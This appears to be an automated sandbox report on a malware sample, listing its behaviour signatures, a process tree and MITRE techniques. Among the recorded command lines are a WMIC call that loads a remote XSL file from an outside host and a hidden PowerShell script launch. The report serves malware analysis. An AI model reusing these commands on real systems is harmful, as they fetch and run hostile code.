Overview

overview

10

task1

 

10

task2

 

10

task3

 

10

task4

 

10

task5

 

8

task6

 

10

task7

 

10

task8

 

10

task9

 

10

task10

 

10

Analysis

  • max time kernel
    130s
  • max time network
    149s
  • resource
    win10v191014

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Supergevaarlijkk.zip

  • Sample

    191029-7v9yqqxm3n

  • SHA256

    6cd246cd910e33eaee00e3d138bc49fcf85562b5f8c394d4b092372d25cc0eac

Score
N/A

Malware Config

Signatures

  • Checks processor name in registry (likely anti-VM) 2 TTPs 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 58 IoCs
  • Drops file in system dir 40 IoCs
  • Drops startup file 1 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Uses Volume Shadow Copy WMI provider 3 IoCs
    ransomware
  • Uses Volume Shadow Copy Service COM API 3 IoCs
    ransomware
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Program crash 1 IoCs
  • Discovering connected drives 3 TTPs 1 IoCs
    ransomware
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Checks processor information in registry (likely anti-VM) 2 TTPs 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    evasiontrojan
  • Loads dropped DLL 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs 19 IoCs
    persistence
  • Checks system information in the registry (likely anti-VM) 2 TTPs 4 IoCs
  • Checks SCSI registry key(s) (likely anti-VM) 3 TTPs 12 IoCs
  • Enumerates system info in registry 2 TTPs 4 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\91B5DB3C0CCBD68BD04C24571E27F99D.msi
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of AdjustPrivilegeToken
    • Discovering connected drives
    PID:4936
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s WdiSystemHost
    1⤵
      PID:5056
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Drops file in system dir
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5068
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s PcaSvc
      1⤵
        PID:5116
      • C:\Windows\System32\MsiExec.exe
        C:\Windows\System32\MsiExec.exe -Embedding 22B17CD028F8275C8F6FA32DFD50D401
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:68
      • C:\Windows\System32\Wbem\WMIC.exe
        "C:\Windows\System32\Wbem\WMIC.exe" process get executablepath^,status /format:"http://barbosaoextra.com.br/dados/noticia/7/imagem/noar.xsl"
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3784
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 7FE29F02F3E2E41078CB647856D8204D
        1⤵
        • Suspicious use of WriteProcessMemory
        • Loads dropped DLL
        PID:3756
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy remotesigned -File "C:\Users\Admin\AppData\Local\Temp\Admin.ps1" -WindowStyle Hidden
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Drops startup file
        • Suspicious behavior: EnumeratesProcesses
        • Uses Volume Shadow Copy WMI provider
        • Uses Volume Shadow Copy Service COM API
        • Suspicious use of WriteProcessMemory
        • Uses Task Scheduler COM API
        PID:4604
      • C:\Users\Admin\AppData\Local\Temp\lcC0B0.tmp
        "C:\Users\Admin\AppData\Local\Temp\lcC0B0.tmp"
        1⤵
        • Executes dropped EXE
        PID:4672
      • C:\Windows\system32\SppExtComObj.exe
        C:\Windows\system32\SppExtComObj.exe -Embedding
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:3520
      • C:\Windows\System32\SLUI.exe
        "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
        1⤵
          PID:2992
        • C:\Users\Admin\AppData\Roaming\SvTBPrJ\nvsmartmaxapp.exe
          "C:\Users\Admin\AppData\Roaming\SvTBPrJ\nvsmartmaxapp.exe"
          1⤵
          • Suspicious use of WriteProcessMemory
          • Loads dropped DLL
          • Executes dropped EXE
          PID:4864
        • C:\Program Files (x86)\Windows Media Player\wmplayer.exe
          "C:\Program Files (x86)\Windows Media Player\wmplayer.exe"
          1⤵
          • Loads dropped DLL
          PID:712
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k WerSvcGroup
          1⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious use of WriteProcessMemory
          PID:4836
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 712 -s 652
          1⤵
          • Checks processor name in registry (likely anti-VM)
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of NtCreateProcessExOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          • Program crash
          • Checks processor information in registry (likely anti-VM)
          • Checks system information in the registry (likely anti-VM)
          • Enumerates system info in registry
          PID:4568
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
          1⤵
          • Modifies system certificate store
          • Checks SCSI registry key(s) (likely anti-VM)
          PID:4652
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe -k wsappx -s ClipSVC
          1⤵
          • Suspicious use of AdjustPrivilegeToken
          • Checks SCSI registry key(s) (likely anti-VM)
          PID:4668
        • \??\c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s wisvc
          1⤵
            PID:3444
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s BITS
            1⤵
            • Drops file in system dir
            PID:4608
          • \??\c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
            1⤵
              PID:2028
            • \??\c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s DoSvc
              1⤵
              • Checks system information in the registry (likely anti-VM)
              PID:4212
            • \??\c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k unistacksvcgroup
              1⤵
                PID:2128
              • \??\c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc
                1⤵
                • Windows security modification
                PID:2232

              Network

              MITRE ATT&CK Enterprise v15

              MITRE ATT&CK Additional techniques

              • T1130
              • T1089

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • memory/4568-19-0x0000000004C10000-0x0000000004C11000-memory.dmp

                Filesize

                4KB

                Download

              • memory/4568-20-0x00000000053B0000-0x00000000053B1000-memory.dmp

                Filesize

                4KB

                Download

              • memory/4568-21-0x00000000054C0000-0x00000000054C1000-memory.dmp

                Filesize

                4KB

                Download